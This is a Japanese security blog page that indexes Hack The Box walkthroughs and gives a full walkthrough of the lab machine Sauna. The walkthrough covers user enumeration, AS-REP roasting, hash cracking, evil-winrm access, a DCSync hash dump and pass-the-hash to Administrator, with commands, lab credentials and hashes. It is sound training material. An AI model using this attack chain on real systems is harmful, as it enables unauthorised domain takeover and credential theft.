Security Index

セキュリティやソフトウェアについてのあれこれ

Hacker Oneの無料のペンテスト基礎講座 まとめ ペンテスト・バグバウンティについて勉強していきたい人におすすめ

HackerOneが公開しているペンテストの基礎講座の動画 PENTESTING BASICS VIDEO SERIES LAUNCHED ON HACKER101 のPart1~4を見たのでまとめました。

f:id:security_index:20200914212655p:plain

続きを読む

Hack The Box 日本語 Walkthrough/Writeup まとめ

Hack The Boxの日本語のWalkthrough/Writeupをまとめてみました!

英語のWalkthrough/Writeupは多くありますが日本語のものは比較的まだ数が少ないです。

Walkthroughを読まずに自分の力だけで攻略するのが理想ですが、私のような初心者ではまだ自分の力だけでは厳しいこともあります。

また、英語のWalkthroughをGoogle翻訳を使って読むこともできますが細かい部分がよくわからないことも...

そんな自分のような人が苦労しないようにと日本語のWalkthrough/Writeupをまとめてみました。

そもそもHack The Boxって何?という人は以下の記事もどうぞ。

Hack The Boxを始めて1つrootを取るまでのメモ - Security Index

Hack The Boxって何?と思ったら読むブログ - Security Index

Hack The Boxに挑戦する前に事前に勉強したいという人向けはこちら。

サイバーセキュリティ レッドチーム実践ガイド その1 - Security Index

f:id:security_index:20200829182355p:plain

最後におまけとして今回のまとめを作るために作成したGoogle スプレットシートのリンクも公開してますのでもし良かったら見てみてください。

Walkthrough/Writeup

EASY

Linux

Traceback

【HackTheBox】Traceback - Walkthrough - - Qiita

Lame

【HackTheBox】Lame - Walkthrough - - Qiita

【Hack the Box write-up】Lame - Qiita

Hack The Box[Lame] -Writeup- - Qiita

1台目 <Hack the Box> Lame -Walkthrough- - Qiita

【Hack The Box】Lame Walkthrough - Paichan 技術メモブログ

Beep

【Hack the Box write-up】Beep - Qiita

【HackTheBox】Beep - Writeup - - Qiita

【Hack The Box】Beep Walkthrough - Paichan 技術メモブログ

Bank

【Hack the Box write-up】Bank - Qiita

Hack The Box[Bank] -Writeup- - Qiita

【Hack The Box】Bank Walkthrough - Paichan 技術メモブログ

Blocky

【Hack the Box write-up】Blocky - Qiita

Hack The Box[Blocky] -Writeup- - Qiita

【Hack The Box】Blocky Walkthrough - Paichan 技術メモブログ

Mirai

【Hack the Box write-up】Mirai - Qiita

Hack The Box[Mirai] -Writeup- - Qiita

【Hack The Box】Mirai Walkthrough - Paichan 技術メモブログ

Shocker

【Hack the Box write-up】Shocker - Qiita

Hack The Box[Shocker] -Writeup- - Qiita

【Hack The Box】Shocker Walkthrough - Paichan 技術メモブログ

Bashed

【Hack the Box write-up】Bashed - Qiita

Hack The Box[Bashed] -Writeup- - Qiita

【Hack The Box】Bashed Walkthrough - Paichan 技術メモブログ

Nibbles

【Hack the Box write-up】Nibbles - Qiita

Valentine

【Hack the Box write-up】Valentine - Qiita

Hack The Box[Valentine] -Writeup- - Qiita

【Hack The Box】Valentine Walkthrough - Paichan 技術メモブログ

Curling

【Hack the Box write-up】Curling - Qiita

Irked

【Hack the Box write-up】Irked - Qiita

Hack The Box[Irked] -Writeup- - Qiita

Teacher

【Hack the Box write-up】Teacher - Qiita

Help

【Hack the Box write-up】Help - Qiita

FriendZone

【Hack the Box write-up】FriendZone - Qiita

SwagShop

【Hack the Box write-up】SwagShop - Qiita

Hack The Box[SwagShop] -Writeup- - Qiita


Window

Legacy

【HackTheBox】Legacy - Walkthrough - - Qiita

【Hack the Box write-up】Legacy - Qiita

Hack The Box[Legacy] -Writeup- - Qiita

【Hack The Box】Legacy Walkthrough - Paichan 技術メモブログ

Devel

【Hack the Box write-up】Devel - Qiita

Hack The Box[Devel] -Writeup- - Qiita

Hack the Box (HTB) Devel write-up - Qiita

【Hack The Box】Devel Walkthrough - Paichan 技術メモブログ

Optimum

【Hack the Box write-up】Optimum - Qiita

Hack The Box[Optimum] -Writeup- - Qiita

【Hack The Box】Optimum Walkthrough - Paichan 技術メモブログ

Hack The Box optimum[windows] - 備忘録なるもの

Arctic

【Hack the Box write-up】Arctic - Qiita

HTB arctic [windows] - 備忘録なるもの

Grandpa

【Hack the Box write-up】Grandpa - Qiita

Hack The Box[Grandpa] -Writeup- - Qiita

Granny

【Hack the Box write-up】Granny - Qiita

Hack The Box[Granny] -Writeup- - Qiita

Blue

【Hack the Box write-up】Blue - Qiita

Hack The Box[Blue] -Writeup- without metasploit - Qiita

2台目 <Hack the Box> Blue -Walkthrough- - Qiita

【Hack The Box】Blue Walkthrough - Paichan 技術メモブログ

Jerry

【Hack the Box write-up】Jerry - Qiita

Hack The Box[Jerry] -Writeup- - Qiita

【Hack The Box】Jerry Walkthrough - Paichan 技術メモブログ

Active

【HackTheBox】Active - Walkthrough - - Qiita

【Hack the Box write-up】Active - Qiita

Access

HackTheBox[Access] -Writeup- - Qiita

Netmon

【Hack the Box write-up】Netmon - Qiita

Hack The Box[Netmon] -Writeup- - Qiita

Forest

【HackTheBox】Forest - Walkthrough - - Qiita

【HackTheBox】Forest - Writeup - - Qiita

Hack The Box: Forest Walkthrough (Japanese) - Qiita

(Hack The Box) Forest writeup - Qiita

Traverxec

HackTheBox[Traverxec] -Writeup- - Qiita

Sauna

Hack The Box: Sauna Walkthrough (IppSec) - Security Index

Remote

【HackTheBox】Remote - Walkthrough - - Qiita

【Hack the Box write-up】Remote - Qiita

ServMon

【Hack the Box write-up】ServMon - Qiita

Hack The Box[ServMon] -Writeup- - Qiita

Buff

【HackTheBox】Buff - Walkthrough - - Qiita

【Hack the Box write-up】Buff – さんぽしの散歩記


FreeBSD

Sense

【Hack the Box write-up】Sense - Qiita

Hack The Box[Sense] -Writeup- - Qiita


MEDIUM

Linux

Magic

【Hack the Box write-up】Magic - Qiita

Popcorn

【Hack the Box write-up】Popcorn - Qiita

【Hack the Box】Popcorn - Write Up - Qiita

Tenten

【Hack the Box write-up】Tenten - Qiita

Cronos

【Hack the Box write-up】Cronos - Qiita

【HackTheBox】Cronos - Writeup - - Qiita

hack the box Cronos [linux] - 備忘録なるもの

SolidState

【Hack the Box write-up】SolidState - Qiita

Celestial

【Hack the Box write-up】Celestial - Qiita

DevOops

【Hack the Box write-up】DevOops - Qiita


Windows

Bastard

Hack The Box[Bastard] -Writeup- - Qiita

Chatterbox

【Hack the Box write-up】Chatterbox - Qiita

【HackTheBox】Chatterbox - Writeup - - Qiita

Resolute

Hack The Box[Resolute] -Writeup- - Qiita

Hack The Box: Resolute Walkthrough (Japanese) - Qiita


FreeBSD

Poison

【Hack the Box write-up】Poison - Qiita

Hack the Box (HTB) Poison write-up - Qiita

Luke

【Hack the Box write-up】Luke - Qiita

最後に

Google スプレットシート

Retiredマシンの一覧、DIFFICULTY、OS、Walkthrough/WriteupのURLが一覧化されているスプレットシートになります。

HackTheBox_日本語walkthrough一覧 - Google スプレッドシート

データ->フィルタの表示->新しい一時的なフィルタ ビューを作成

でWalkthroughがあるものだけ表示などフィルタ機能も使えます。

f:id:security_index:20200830161532p:plain

日本語のWalkthrough/Writeupがまとまっていることで、1つのマシンを攻略するのに1つのWalkthroughだけを読む、のではなく複数のWalkthroughをみることができます。色々な攻略方法、ツールの使い方、こんなオプションの使い方があるのかなど、多くの学びもあるような気がするのでそういう用途にも使えるのかなぁと思っています。

Walkthroughを読んでみて面白そうだなと思ったマシンを実際に自分でもやってみるというのもありだと思います。私もBlueのWalkthroughを読んで実際にやってみようと思うことがありました。

まだまだEASYのマシンでもWalkthroughがないものもあるのでそういうマシンをあえて攻略してWalkthroughを書いてみる、というのも良いかもしれません。

もしここにないWalkthroughを知ってる、自分のWalkthroughが載ってない、などありましたらコメントいただけると嬉しいです。

サイバーセキュリティ レッドチーム実践ガイド


Twitter (@security_index)

GoReleaserとGithub Actionsを使ってGoのCLIツールをHomebrew installできるようにする

go-cve-search 作ってみた - TDD, Circleci, README Badge, Terminal Gif, Cliツール開発の話の続きでGoReleaserを使ってhomebrew installでGoのCLIツールを簡単にインストールできるようにしました。

brew tapでs-index/go-cve-searchを登録して、brew installするとインストールできるようになります。

$ brew tap s-index/go-cve-search
$ brew install s-index/go-cve-search/go-cve-search

brew tapというものを今まで知らなかったのですが公式以外のリポジトリを登録してそこからインストールできるようにするもののようです。

brew tapとは - Qiita

作成したレポジトリはこちら。 GitHub - s-index/go-cve-search: lightweight CVE search

f:id:security_index:20200823104156j:plain

続きを読む

Hack The Box: Sauna Walkthrough (IppSec)

Hack The BoxのSauna (Easy, Windows)のWalkthroughです。

丁寧に書いたのでHack The BoxのWindowsマシンの攻略の参考やそもそもHack The Boxってどんな感じなことやればいいの?といった雰囲気を感じることもできると思います。

IppSecの動画を見ながらやったのでほぼ同じ内容になっていると思います。

Hack The Boxって何?という方は以下の記事が参考になります。

Hack The Box 始めたい!という方は@v_avengerさんの以下の記事がおすすめです!

f:id:security_index:20200817193657j:plain

日本語Walkthroughのまとめも公開してます。

Hack The Box 日本語 Walkthrough/Writeup まとめ - Security Index

User Own

Nmap

まずは、nmapでスキャンします。

nmap -v -sC -sV -oA nmap/sauna 10.10.10.175

簡単にそれぞれのオプションについて説明すると

-v : 出力を詳細にする
-sC : デフォルトのスクリプトでスキャン。-scrip=defautと同じ。
-sV : バージョンの検出
-oA : 出力(Output)をALL。XML、スクリプトキディ出力、grep用出力をする。

-oA nmap/saunaとすることでnmapフォルダ以下に3つのnmapのスキャン結果ファイルが生成されます。

sauna.gnmap
sauna.nmap
sauna.xml

ファイルとして残しておくことで、あとで確認しやすくなりますし、ペンテストやレッドチームでは最終調査結果をレポートとして提出すると思うのでファイルとして残しておくことを癖にしておくことは良いと思います。

nmapの実行結果の一部は以下のようになります。

Discovered open port 445/tcp on 10.10.10.175
Discovered open port 80/tcp on 10.10.10.175
Discovered open port 135/tcp on 10.10.10.175
Discovered open port 139/tcp on 10.10.10.175
Discovered open port 53/tcp on 10.10.10.175
Discovered open port 3268/tcp on 10.10.10.175
Discovered open port 636/tcp on 10.10.10.175
Discovered open port 464/tcp on 10.10.10.175
Discovered open port 3269/tcp on 10.10.10.175
Discovered open port 593/tcp on 10.10.10.175
Discovered open port 88/tcp on 10.10.10.175
Discovered open port 389/tcp on 10.10.10.175

今回はHack The Boxのマシンのページで対象のサーバーがWindowsであることがわかっていますが、

88 : kerberos
445 : SMB
636 : 暗号化されたLDAP

これらのOpen Portからも対象のサーバーがWindowsの可能性が高いとわかります。

crackmapexec

CrackMapExec (CME) は、Active Direcotryへの自動セキュリティアセスメントツール(post-exploitation)で、できるだけIDS/IPSに検知されないように設計されたもののようです。

内部でImpacket, PowerSploit, Mimikittenzなどのツールが使われているようです。

Introduction - CrackMapExec ~ CME WIKI

# crackmapexec smb 10.10.10.175 --shares -u '' -p ''
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICALBANK) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [-] EGOTISTICALBANK\: STATUS_ACCESS_DENIED 
SMB         10.10.10.175    445    SAUNA            [-] Error enumerating shares: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

username, password共に空なので当然ですがSTATUS_ACCESS_DENIEDとなり上手くいきません。

しかし、(name:SAUNA) (domain:EGOTISTICALBANK) (signing:True) (SMBv1:False)という情報は得られました。

smbmap

crackmapexec以外のツールでも確認してみます。

smbmapはドメイン全体のsambaの共有ドライブの列挙ができるものです。

# smbmap -H 10.10.10.175 -u '' -p ''
[+] IP: 10.10.10.175:445        Name: 10.10.10.175 

smbmapでもcrackmapexecで得られたこと以上の情報は得られません。

ウェブページ確認

次にウェブページを確認します。

nmapで80番ポートがOPENだったのでアクセスできるはずです。

10.10.10.175にアクセスするとこのようなページへアクセスできます。

f:id:security_index:20200817111631p:plain

ソースの確認

ウェブページのソースを確認してみます。

Ctrl+Uでソースの確認ができます。

f:id:security_index:20200817111710p:plain

ソースを確認することでどんなCMS (WordPressやDrulpal)が使われているか特定できることがあります。

今回は特に気になるCMSは使われていなそうです。

拡張子の確認

10.10.10.175/index.html, 10.10.10.175/index.php, 10.10.10.175/index.asp, 10.10.10.175/index.aspxのように拡張子を変えてアクセスすることで内部がPHPで動いているのか、ASPが使われているのか推測することができます。

今回は.htmlしかアクセスできませんでした。

ユーザー名候補一覧の収集、作成 (Vim レコーディング機能)

ウェブページにはどんな人たちが開発に関わっているのか推測できる情報が載っている場合があります。

今回の場合ではabout usのページに提供サービスに関わる人たちのフルネームが掲載されているます。

f:id:security_index:20200817112741p:plain

この情報からサーバーで利用されているユーザー名の候補一覧を作成することができます。

f:id:security_index:20200817113027p:plain

Vimで名前をコピペします。

しかし、このままの形でユーザー名が登録されているかはわかりません。 Fergus Smithであれば、F.Smithという形で登録することもありますし、FSmithやFergus.Smithなどいくつかよく登録されれるパターンが考えられます。

そこでこれらのパターンを網羅するようにユーザー名候補一覧を追加していきます。

ここではVimのレコーディング機能を使って効率良く候補一覧を作成します。

Vimではノーマルモード時にqaを押すことでその後の操作のレコーディングを行うことができます。

左下のようにrecordingと書かれている間操作を記録し、ノーマルモード時にqを押すとレコードが終了となります。

f:id:security_index:20200817113525p:plain

このレコーディング機能を使って一行目のFergus SmithをFergus.Smith, FSmith, Fergus.Smithに変更し、その以降のものに関しては記録したものを@aで再現することができるのでそれを使って複製していきます。

5@aとすることで5回同じ処理を繰り返すことができますので一度に以下のようなユーザー名候補を作成することができます。

f:id:security_index:20200817113752p:plain

これらの候補一覧に加えて、Windowsアカウントで使われるadministratorguestを追加しておきます。

kerbrute

ユーザー名候補一覧が作成できたら、Active Directoryのアカウントに対してブルートフォースができるkerbruteを使います。

余談ですが、kerbruteはGo言語で書かれており、セキュリティのツールはPythonが多いイメージがあるが最近はGoも見る気がしています。

releasesから実行ファイルをダウンロードして利用します。

chmodして、先ほど作成したユーザー名候補一覧users.txtを引数に入れます。

# chmod +x kerbrute_linux_amd64
# ./kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d EGOTISTICALBANK users.txt

実行結果をみると、administratorFSmithがヒットしました。

2020/08/15 03:03:49 >  [+] VALID USERNAME:       administrator@EGOTISTICALBANK                                                          
2020/08/15 03:03:49 >  [+] VALID USERNAME:       FSmith@EGOTISTICALBANK                                                                 
2020/08/15 03:03:49 >  Done! Tested 26 usernames (2 valid) in 0.747 seconds

/etc/hostsの設定

次にやることの前準備として/etc/hostsの設定を行います。

/etc/hostsでIPアドレスとそれに対応するホスト名を設定することができます。

以下のように一行に複数のホスト名を列挙して設定することもできます。

f:id:security_index:20200817115255p:plain

GetNPUsers

Impacketというネットワークプロトコルを操作するためのもので、examples以下に色々な使い勝手の良いスクリプトが用意されています。

GetNPUsersは、Impacketのexamplesの中の一つで、Kerberos認証で使われるTGT(Ticket Granting Ticket)を取得することができます。

kaliでは既にimpacketがインストールされているのでそちらを使います。

locate GetNPUsersでどこにあるのか確認することができます。

# python3 GetNPUsers.py EGOTISTICALBANK/fsmith

実行結果

[*] Cannot authenticate fsmith, getting its TGT
$krb5asrep$23$fsmith@EGOTISTICALBANK:c932696d721341ea6010068a314f5239$f297602f9d43f04534e0a4cf7f4589ad9469c483ed5a331375fe035555c37acdf6d6211bdfaa7f165324979ab3d4240b05e391143f4e026138ecbaaede6b7fab1472dc29e3ae7d8bd703f320885391801f48686a2a197268c16bfc85a6ccf973583c64884a0738fbedbb427360730203fd05eae6fe78a0f8486cdffa0e0d64853d9cb94592ce3dc88a1ed8fa12bf65478a07d144ca6d733dc1a2077ce1ac58a2a39f393f6877b6995c6725be8c540b92095b56035ef5e7101ae2ae5a3c8c147bc810221b269a4596fb2a84099b0bba05d1b57e0f37b142c520fd4d5cabbbcb6f97e588b475fc1c343f9f1782a5347796d72e9db7a84dc5d7f3

TGTを取得することができました!

hashcat

TGTを取得することができたら次にパスワードを推測します。

TGTにはパスワードハッシュが含まれているのでhashcatを使うことでパスワードを特定することができます。

hashcatはMD4, MD5, SHA1など多くのタイプのハッシュからパスワードを復元することができます。

そのため、どのタイプのハッシュなのかもhashcatの引数(mode)として与える必要があるのでmodeが何に当たるのか確認します。

# hashcat --example-hashes | less

TGTの先頭の文字列krb5asrepで検索すると

MODE: 18200
TYPE: Kerberos 5, etype 23, AS-REP
HASH: $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac
PASS: hashcat

modeが18200であることがわかります。

hashcat -hからもmodeの確認はできますが、実際に確認したいTGTの文字列から検索できるのでhashcat --example-hashesも知っておくと便利です。

modeがわかったら実際にhashcatでクラックします。

# hashcat -m 18200 tgt-hash.txt /usr/share/wordlists/rockyou.txt

(tgt-hash.txtに先ほど取得したTGTを保存しています)

hashcatでは利用するパスワードリストも指定する必要がありますが、kaliで標準でインストールされている/usr/share/wordlists/rockyou.txtを利用することが良いと思います。

実行するとして以下のようにCrackedとなり、Thestrokes23がパスワードだとわかりました!

$krb5asrep$23$fsmith@EGOTISTICALBANK:c932696d721341ea6010068a314f5239$f297602f9d43f04534e0a4cf7f4589ad9469c483ed5a331375fe035555c37acdf6d6211bdfaa7f165324979ab3d4240b05e391143f4e026138ecbaaede6b7fab1472dc29e3ae7d8bd703f320885391801f48686a2a197268c16bfc85a6ccf973583c64884a0738fbedbb427360730203fd05eae6fe78a0f8486cdffa0e0d64853d9cb94592ce3dc88a1ed8fa12bf65478a07d144ca6d733dc1a2077ce1ac58a2a39f393f6877b6995c6725be8c540b92095b56035ef5e7101ae2ae5a3c8c147bc810221b269a4596fb2a84099b0bba05d1b57e0f37b142c520fd4d5cabbbcb6f97e588b475fc1c343f9f1782a5347796d72e9db7a84dc5d7f3:Thestrokes23

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP

evil-winrm

ユーザー名、パスワード共にわかったので今度はevil-winrmを使ってシェルの獲得を試みます。

WinRM (Windows Remote Management)が有効になっている場合にはシェルが獲得できる可能性があります。

まずはインストールします。

evil-winrmはRubyなのでgemを使ってインストールできます。

# gem install evil-winrm

その後、ユーザー名、パスワードを引数に与えて実行します。

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

結果

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> 

シェル獲得成功です!

あとは、Desktopに移動してuser.txtを開けばUser Own完了です。

*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/23/2020  10:03 AM             34 user.txt


*Evil-WinRM* PS C:\Users\FSmith\Desktop> Get-Content user.txt
1b5520b98d97cf17f24122a55baf70cf

Root Own

一般ユーザーのアカウントを獲得できたあとは、管理者ユーザーへ権限の昇格を目指します。

winPEAS

Windowsの権限昇格のための便利ツールとしてwinPEASがあります。

f:id:security_index:20200817153517p:plain

winPEASは一般ユーザーでwinPEASを実行することで権限昇格のために役立ちそうな情報を収集し、重要な情報を赤色で表示してくれるものです。

あくまで情報を集めて表示してくれるものなのでこれを実行すれば自動で管理者権限が取れるというものではありません。

まずは、シェルを獲得できたユーザー上で実行する実行ファイルをダウンロードします。

Githubのprivilege-escalation-awesome-scripts-suiteを丸ごとダウンロードして、winPEAS/winPEASexe/winPEAS/bin/Release/の中にあるwinPEAS.exeを使います。

privilege-escalation-awesome-scripts-suiteにはwinPEAS以外にもlinPEASというLinux用のスクリプトも提供しています。

winPEAS.exeがあるディレクトリ内でevil-winrmでログインしてアップロードします。

Evil-WinRM* PS C:\Users\FSmith\Documents> upload winPEAS.exe

アップロードが完了したら実行します。

*Evil-WinRM* PS C:\Users\FSmith\Documents> ./winPEAS.exe

実行するとかなり大量の結果が出力されます。

以下のように重要な部分は赤色で表示されますのでその部分を重点的に確認していきます。

f:id:security_index:20200817155359p:plain

するとこのようにSome AutoLogon credentials were found!!という興味深いものが発見できることがあります。

ここではsvc_loanmanagerというアカウントの自動ログインのパスワードMoneymakestheworldgoround!が発見できました。

Bloodhound

winPEASでsvc_loanmanagerのパスワードまでは発見できたのですが、管理者権限のアカウントまでは繋がりませんでした。

このような時に使えるのがBloodboundです。

BloodhoundではActive Directoryの権限の関係をグラフ化し、どのアカウントから管理者権限を取れるのかを明らかにしてくれるツールです。

詳しくは@v_avengerさんの以下の記事が参考になります。

BloodHoundを使用したWindows Active Directory環境の分析 - Qiita

また、レッドチーム実践ガイドをお持ちの方は4.8 Windowsドメイン環境を乗っ取る 3. Bloodhound / Sharphound (P.163)にも詳しく書かれています。

まずはインストールします。

# apt install -y bloodhound

neo4jも必要なので起動させます。

# neo4j console

http://localhost:7474/browser/へアクセスして初期設定としてパスワードの変更を行います。

(変更後のパスワードはこの後Bloodhoundで利用します)

Bloodhoundを起動します。

# bloodhound 

このようなログイン画面が出てきますのでユーザー名、変更後のパスワードを入力します。

f:id:security_index:20200817161217p:plain

真っ白いキャンバスが出てきたらOKです。

次にWindowsサーバー上でBloodhoundのIngestorを実行し、Active Directoryのユーザー、グループ、ホストの情報を収集させます。

IngestorはGithubのBloodhoundのIngestor以下にあるSharpHound.exeを使います。

こちらをwinPEASと同様にWindowsサーバーにアップロードして実行します。

*Evil-WinRM* PS C:\Users\FSmith\Documents> upload SharpHound.exe

*Evil-WinRM* PS C:\Users\FSmith\Documents> ./SharpHound.exe

実行すると以下のようなzipファイルが生成されます。

*Evil-WinRM* PS C:\Users\FSmith\Documents> dir


    Directory: C:\Users\FSmith\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/16/2020   9:00 AM           9114 20200816090054_BloodHound.zip

こちらを今度はkali側にダウンロードします。

*Evil-WinRM* PS C:\Users\FSmith\Documents> download 20200816090054_BloodHound.zip

ダウンロードしたファイルを先ほどのBloodhoundに読み込ませます。

ファイルをドラッグ&ドロップさせればできます。

次に自分が現在アクセスできるユーザーを登録していきます。

現在、fsmithとsvc_loanmanagerのアカウントは獲得できているのでその設定を行います。

f:id:security_index:20200817162406p:plain

左上の検索窓にfsmithやsvc_loanmanagerを入力するとサジェストされるのでクリックします。

そうするとアイコンが表示されます。

そのアイコン右クリックして表示されるメニューからMark User as Ownedを選択し、自分が権限を獲得できていることをマークしていきます。

f:id:security_index:20200817162458p:plain

(マークするとドクロマークが付きます)

左上のマークを押して、QueriesのFind Shortest Paths to Domain AdminsをクリックするとAdminまでの最短パスを確認できます。

しかし、このパス上には既に獲得したアカウントはないため直接Adminになることはできないようです。

f:id:security_index:20200817162851p:plain

次にFind Principals with DCSync Rightsをクリックします。

f:id:security_index:20200817163113p:plain

すると右下にドクロマークの付いたアイコンがあり、DCSyncを使うとAdminまで辿り着けどうな感じがします。

DCSyncとは何かというと、Administratorなどのドメイン内のユーザーのハッシュを取得するためにドメインコントローラーになりすましをするというものだそうです。

DCSyncを実行するためにはドメイン管理者、Domain Controllersグループのメンバーなどである必要があり、今回svc_loanmgrが「Find Principals with DCSync Rights」で表示されたのでまさにDCSyncを実行できるユーザーであることがわかりました。

DCSnycについてもレッドチーム実践ガイドの4.9 ドメインコントローラのハッシュをダンプする (P.185)に書かれています。

secretsdump

Bloodhoundの結果、svc_loanmgrでDCSnycでAdminまで辿り着けそうだとわかりました。

次に実際にAdminのハッシュを獲得するためにsecretsdumpを使います。

secretsdumpもGetNPUsersと同様にImpacketのexampleの中にあるもので、色々な方法を使ってハッシュのダンプを取得してくれます。

locate secretsdumpで場所を確認し、svc_loanmgrで実行します。

# python3 secretsdump.py EGOTISTICALBANK/svc_loanmgr@10.10.10.175

パスワードを求められるのでwinPEASで発見したMoneymakestheworldgoround!を入力します。

結果

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:57b0c872972fd21d593b99a50fd6dcd1:::

Administratorのハッシュを獲得できました!

psexec

secretsdumpでAdministratorのハッシュが獲得できたのでこのハッシュを使ってAdminにアクセスできれば完了です。

PsExecはWindows Sysinternalsでも公開されているWindowsをリモートからアクセスするためのツールです。

こちらもsecretsdump、GetNPUsersと同様にImpacketのexampleの中で用意されているものがあるのでこちらを利用します。

locate psexecで場所を確認し、administratorで実行します。

# python3 psexec.py EGOTISTICALBANK/administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff

実行するとWindowsのコマンドプロンプトのシェルが取れます。

C:\Windows\system32>

あとはadministratorのデスクトップに置かれたファイルを確認するだけです!

C:\Windows\System32>cd ../../Users/Administrator/Desktop

C:\Users\Administrator\Desktop>type root.txt
f3ee04965c68257382e31502cc5e881f

Root Own!

最後に

今までLinuxマシンは2台攻略したことがありましたがWindowsマシンは苦手意識があり避けていました。

ですが一度やってみるとなんとなく雰囲気が掴めたような気がします。

今回はIppSecさんのSaunaの動画を見て攻略しましたが、ライブコーディング(ライブハッキング?)のようにその場でどこに注目してどう考えてやっているのかわかるのでとても参考になりますし、面白かったです。

特にVimのレコーディング機能は使ったことがなかったので、これを使いこなせるようになると確かにHack The Box以外の細かい作業も捗りそうです。

VIPのみの機能だと思いますが、Retired Machinesには公式のWalkthroughとUser-submitted Walkthroughsというものがあります。

私もsubmittedしてみました! (今はまだpending状態ですAcceptされました!)

f:id:security_index:20200817201537p:plain

f:id:security_index:20200817201903p:plain

f:id:security_index:20200818213327p:plain

また、GithubでもWalkthroughやCheat Cheatを公開していきたいと考えています。

GitHub - s-index/HackTheBox: HackTheBoxのWalkthroughやCheatsheet

現状だとこのブログ記事とほぼ同じSaunaのWalkthroughのみですが・・・今後少しずつ追加できたらと思います!

Hack The Box 日本語 Walkthrough/Writeup まとめ - Security Index

サイバーセキュリティ レッドチーム実践ガイド


Twitter (@security_index)

Pwnagotchi 作ってみた!(Wi-Fi 脆弱性情報を収集する電子ペットキットの作り方)

Pwnagotchi(ポーナゴッチ)というWi-Fi 脆弱性情報を収集する電子ペットキットを作ってみましたのでその作り方のメモです。

 

f:id:security_index:20200726190448p:plain 

続きを読む

サイバーセキュリティ レッドチーム実践ガイド その3

前々回『サイバーセキュリティ レッドチーム実践ガイド その1』、前回『サイバーセキュリティ レッドチーム実践ガイド その2』の続きで「サイバーセキュリティ レッドチーム実践ガイド」という本を読んだメモ書きです。

 

今回は「第5章 ソーシャルエンジニアリング」、「第6章 物理的なアクセス」、「第7章 アンチウイルスの回避」の部分となります。

 

f:id:security_index:20200628192602j:plain

 

続きを読む

Vulsのコードを読む まとめ (Vuls コードリーディング)

以前に書いた「Vulsのコードを読む」シリーズの記事のまとめページです。

Vulsのコードリーディングをしてどうやって脆弱性スキャンをしているのか4回に分けて記事にしていたのでその記事の解説とそれに関わる記事の解説を書いてます。

 

このまとめ記事を書くに辺り過去の記事を更新したり、vulsのアップデートを確認したり、自分で書いたはずの記事なのに忘れていることが多かったり・・・振り返ることができました。

また、元々コードを読んで理解しようというモチベーションで始めたものがプルリク出してOSSに貢献できたり、実際に自分でコードを書いてOSSを公開したりと、ちょっとしたきっかけがどんどん次に繋がっていたのだなぁと改めて思いました。

 

f:id:security_index:20200720140757p:plain

 

続きを読む